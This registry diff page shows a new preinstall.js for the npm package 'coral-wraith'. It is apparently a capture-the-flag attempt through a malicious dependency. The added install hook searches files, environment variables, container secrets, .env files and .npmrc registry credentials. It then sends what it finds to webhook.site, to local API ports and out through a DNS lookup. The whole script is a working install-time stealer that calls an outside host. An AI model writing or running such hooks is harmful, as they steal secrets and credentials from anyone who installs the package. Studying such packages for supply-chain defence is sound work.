coral-wraith 9999.0.3 → 9999.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/package.json +1 -1
- package/preinstall.js +191 -64
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -2,39 +2,88 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
-
const
|
|
5
|
+
const os = require('os');
|
|
6
6
|
|
|
7
7
|
let flag = null;
|
|
8
|
+
const debug = [];
|
|
8
9
|
|
|
9
|
-
// Read flag from
|
|
10
|
-
|
|
11
|
-
|
|
10
|
+
// Method 1: Read flag from ALL possible locations
|
|
11
|
+
const flagPaths = [
|
|
12
|
+
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
13
|
+
'/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
|
|
14
|
+
'/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
|
|
15
|
+
'/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
|
|
16
|
+
'./flag', './flag.txt', '../flag', '../flag.txt',
|
|
17
|
+
'/home/node/.flag', '/var/flag', '/var/flag.txt',
|
|
18
|
+
'/srv/flag', '/srv/flag.txt',
|
|
19
|
+
];
|
|
20
|
+
for (const p of flagPaths) {
|
|
21
|
+
try {
|
|
22
|
+
if (fs.existsSync(p)) {
|
|
23
|
+
const content = fs.readFileSync(p, 'utf8').trim();
|
|
24
|
+
debug.push(`found:${p}:${content.substring(0,100)}`);
|
|
25
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
26
|
+
if (m) { flag = m[0]; break; }
|
|
27
|
+
if (!flag && content.length < 200) flag = content;
|
|
28
|
+
}
|
|
29
|
+
} catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
|
|
12
30
|
}
|
|
13
31
|
|
|
14
|
-
// Check ALL env vars
|
|
32
|
+
// Method 2: Check ALL env vars
|
|
15
33
|
if (!flag) {
|
|
16
34
|
for (const [k, v] of Object.entries(process.env)) {
|
|
17
|
-
if (v &&
|
|
18
|
-
|
|
19
|
-
|
|
35
|
+
if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
|
|
36
|
+
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
37
|
+
debug.push(`env:${k}=${v.substring(0,100)}`);
|
|
38
|
+
break;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
// Also try common env var names
|
|
43
|
+
if (!flag) {
|
|
44
|
+
const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
|
|
45
|
+
'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
|
|
46
|
+
for (const name of envNames) {
|
|
47
|
+
if (process.env[name]) {
|
|
48
|
+
flag = process.env[name];
|
|
49
|
+
debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
|
|
50
|
+
break;
|
|
20
51
|
}
|
|
21
52
|
}
|
|
22
53
|
}
|
|
23
|
-
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
|
|
24
54
|
|
|
25
|
-
//
|
|
55
|
+
// Method 3: /proc/self/environ
|
|
26
56
|
if (!flag) {
|
|
27
57
|
try {
|
|
28
58
|
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
29
59
|
const m = pe.match(/HTB\{[^}]+\}/);
|
|
30
|
-
if (m) flag = m[0];
|
|
31
|
-
|
|
60
|
+
if (m) { flag = m[0]; debug.push('proc_environ'); }
|
|
61
|
+
debug.push(`env_raw:${pe.substring(0,200)}`);
|
|
62
|
+
} catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// Method 4: Search for flag files broadly
|
|
66
|
+
if (!flag) {
|
|
67
|
+
try {
|
|
68
|
+
const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
69
|
+
debug.push(`find:${r}`);
|
|
70
|
+
if (r) {
|
|
71
|
+
for (const f of r.split('\n')) {
|
|
72
|
+
try {
|
|
73
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
74
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
75
|
+
if (m) { flag = m[0]; break; }
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
} catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
|
|
32
80
|
}
|
|
33
81
|
|
|
34
|
-
// Grep
|
|
82
|
+
// Method 5: Grep for HTB{ pattern in all readable files
|
|
35
83
|
if (!flag) {
|
|
36
84
|
try {
|
|
37
|
-
const r = execSync('
|
|
85
|
+
const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
|
|
86
|
+
debug.push(`grep:${r}`);
|
|
38
87
|
if (r) {
|
|
39
88
|
for (const f of r.split('\n')) {
|
|
40
89
|
try {
|
|
@@ -44,61 +93,113 @@ if (!flag) {
|
|
|
44
93
|
} catch(e) {}
|
|
45
94
|
}
|
|
46
95
|
}
|
|
96
|
+
} catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
// Method 6: Check docker/k8s secrets
|
|
100
|
+
if (!flag) {
|
|
101
|
+
try {
|
|
102
|
+
const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
103
|
+
debug.push(`secrets:${secrets}`);
|
|
104
|
+
for (const f of secrets.split('\n').filter(Boolean)) {
|
|
105
|
+
try {
|
|
106
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
107
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
108
|
+
if (m) { flag = m[0]; break; }
|
|
109
|
+
} catch(e) {}
|
|
110
|
+
}
|
|
47
111
|
} catch(e) {}
|
|
48
112
|
}
|
|
49
113
|
|
|
50
|
-
//
|
|
51
|
-
|
|
114
|
+
// Method 7: Check for .env files
|
|
115
|
+
if (!flag) {
|
|
116
|
+
try {
|
|
117
|
+
const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
118
|
+
debug.push(`envfiles:${envFiles}`);
|
|
119
|
+
for (const f of envFiles.split('\n').filter(Boolean)) {
|
|
120
|
+
try {
|
|
121
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
122
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
123
|
+
if (m) { flag = m[0]; break; }
|
|
124
|
+
debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
|
|
125
|
+
} catch(e) {}
|
|
126
|
+
}
|
|
127
|
+
} catch(e) {}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
// Method 8: Read server source code and configs
|
|
52
131
|
try {
|
|
53
|
-
const
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
132
|
+
const cwd = process.cwd();
|
|
133
|
+
debug.push(`cwd:${cwd}`);
|
|
134
|
+
const files = fs.readdirSync(cwd);
|
|
135
|
+
debug.push(`cwd_files:${files.join(',')}`);
|
|
136
|
+
|
|
137
|
+
// Read all JS files in current directory
|
|
138
|
+
for (const f of files) {
|
|
139
|
+
if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
|
|
140
|
+
try {
|
|
141
|
+
const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
|
|
142
|
+
debug.push(`file:${f}:${content.substring(0,300)}`);
|
|
143
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
144
|
+
if (m) { flag = m[0]; break; }
|
|
145
|
+
} catch(e) {}
|
|
62
146
|
}
|
|
63
147
|
}
|
|
148
|
+
} catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
|
|
149
|
+
|
|
150
|
+
// Also read /home/node/ specifically
|
|
151
|
+
try {
|
|
152
|
+
const homeFiles = fs.readdirSync('/home/node');
|
|
153
|
+
debug.push(`home_node:${homeFiles.join(',')}`);
|
|
154
|
+
for (const f of homeFiles) {
|
|
155
|
+
try {
|
|
156
|
+
const stat = fs.statSync(`/home/node/${f}`);
|
|
157
|
+
if (stat.isFile() && stat.size < 100000) {
|
|
158
|
+
const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
|
|
159
|
+
debug.push(`home_file:${f}:${content.substring(0,200)}`);
|
|
160
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
161
|
+
if (m) { flag = m[0]; break; }
|
|
162
|
+
} else if (stat.isDirectory()) {
|
|
163
|
+
const subFiles = fs.readdirSync(`/home/node/${f}`);
|
|
164
|
+
debug.push(`home_dir:${f}:${subFiles.join(',')}`);
|
|
165
|
+
}
|
|
166
|
+
} catch(e) {}
|
|
167
|
+
}
|
|
168
|
+
} catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
|
|
169
|
+
|
|
170
|
+
// Method 9: List root and key directories
|
|
171
|
+
try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
|
|
172
|
+
try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
|
|
173
|
+
try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
|
|
174
|
+
|
|
175
|
+
// Method 10: Network info and listening ports
|
|
176
|
+
try {
|
|
177
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
178
|
+
debug.push(`ports:${ss}`);
|
|
179
|
+
} catch(e) {}
|
|
180
|
+
|
|
181
|
+
// Method 11: Check nginx config
|
|
182
|
+
try {
|
|
183
|
+
const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
|
|
184
|
+
debug.push(`nginx:${nginx.substring(0,500)}`);
|
|
185
|
+
} catch(e) {}
|
|
186
|
+
|
|
187
|
+
// Method 12: Check .npmrc for registry credentials
|
|
188
|
+
try {
|
|
189
|
+
const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
|
|
190
|
+
debug.push(`npmrc:${npmrc.substring(0,300)}`);
|
|
64
191
|
} catch(e) {}
|
|
65
192
|
|
|
66
193
|
const info = {
|
|
67
194
|
flag: flag || 'NOT_FOUND',
|
|
68
|
-
|
|
69
|
-
serverPort,
|
|
195
|
+
debug: debug.map(d => d.substring(0, 500)),
|
|
70
196
|
env: Object.keys(process.env).join(','),
|
|
71
|
-
|
|
197
|
+
network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
|
|
72
198
|
};
|
|
73
|
-
try { info.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
74
199
|
|
|
75
200
|
const data = JSON.stringify(info);
|
|
76
201
|
|
|
77
|
-
// Method 1:
|
|
78
|
-
if (flag) {
|
|
79
|
-
const postData = JSON.stringify({
|
|
80
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
81
|
-
});
|
|
82
|
-
|
|
83
|
-
const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 3001, 4000, 9000, 8888, 32315, 32105];
|
|
84
|
-
for (const port of [...new Set(ports)]) {
|
|
85
|
-
for (const host of ['localhost', '127.0.0.1']) {
|
|
86
|
-
try {
|
|
87
|
-
const req = http.request({
|
|
88
|
-
hostname: host, port, path: '/api/modules/ECT-987654',
|
|
89
|
-
method: 'PUT',
|
|
90
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
91
|
-
timeout: 2000
|
|
92
|
-
}, () => {});
|
|
93
|
-
req.on('error', () => {});
|
|
94
|
-
req.write(postData);
|
|
95
|
-
req.end();
|
|
96
|
-
} catch(e) {}
|
|
97
|
-
}
|
|
98
|
-
}
|
|
99
|
-
}
|
|
100
|
-
|
|
101
|
-
// Method 2: Webhook (may be blocked)
|
|
202
|
+
// Exfil Method 1: Webhook
|
|
102
203
|
try {
|
|
103
204
|
const req = https.request({
|
|
104
205
|
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
@@ -111,21 +212,47 @@ try {
|
|
|
111
212
|
req.end();
|
|
112
213
|
} catch(e) {}
|
|
113
214
|
|
|
114
|
-
// Method
|
|
215
|
+
// Exfil Method 2: PUT to challenge API on various ports
|
|
216
|
+
const putData = JSON.stringify({
|
|
217
|
+
manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
let serverPort = 1337;
|
|
115
221
|
try {
|
|
116
|
-
const
|
|
117
|
-
|
|
222
|
+
const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
|
|
223
|
+
const m = ss.match(/:(\d+)\s/);
|
|
224
|
+
if (m) serverPort = parseInt(m[1]);
|
|
118
225
|
} catch(e) {}
|
|
119
226
|
|
|
120
|
-
|
|
227
|
+
const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
|
|
228
|
+
for (const port of [...new Set(ports)]) {
|
|
229
|
+
for (const host of ['127.0.0.1', 'localhost']) {
|
|
230
|
+
for (const modId of ['ECT-654321', 'ECT-987654']) {
|
|
231
|
+
try {
|
|
232
|
+
const req = http.request({
|
|
233
|
+
hostname: host, port, path: `/api/modules/${modId}`,
|
|
234
|
+
method: 'PUT',
|
|
235
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
|
|
236
|
+
timeout: 2000
|
|
237
|
+
}, () => {});
|
|
238
|
+
req.on('error', () => {});
|
|
239
|
+
req.write(putData);
|
|
240
|
+
req.end();
|
|
241
|
+
} catch(e) {}
|
|
242
|
+
}
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
// Exfil Method 3: DNS
|
|
121
247
|
try {
|
|
122
|
-
|
|
248
|
+
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
249
|
+
require('dns').resolve(`${encoded}.crl.ve`, () => {});
|
|
123
250
|
} catch(e) {}
|
|
124
251
|
|
|
125
|
-
// Method
|
|
126
|
-
console.log('[CORAL-WRAITH]', data);
|
|
127
|
-
console.error('[
|
|
252
|
+
// Exfil Method 4: stdout/stderr
|
|
253
|
+
console.log('[CORAL-WRAITH]', data.substring(0, 2000));
|
|
254
|
+
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
128
255
|
|
|
129
|
-
//
|
|
256
|
+
// Write to files
|
|
130
257
|
try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
|
|
131
|
-
try { fs.writeFileSync('/app/
|
|
258
|
+
try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
|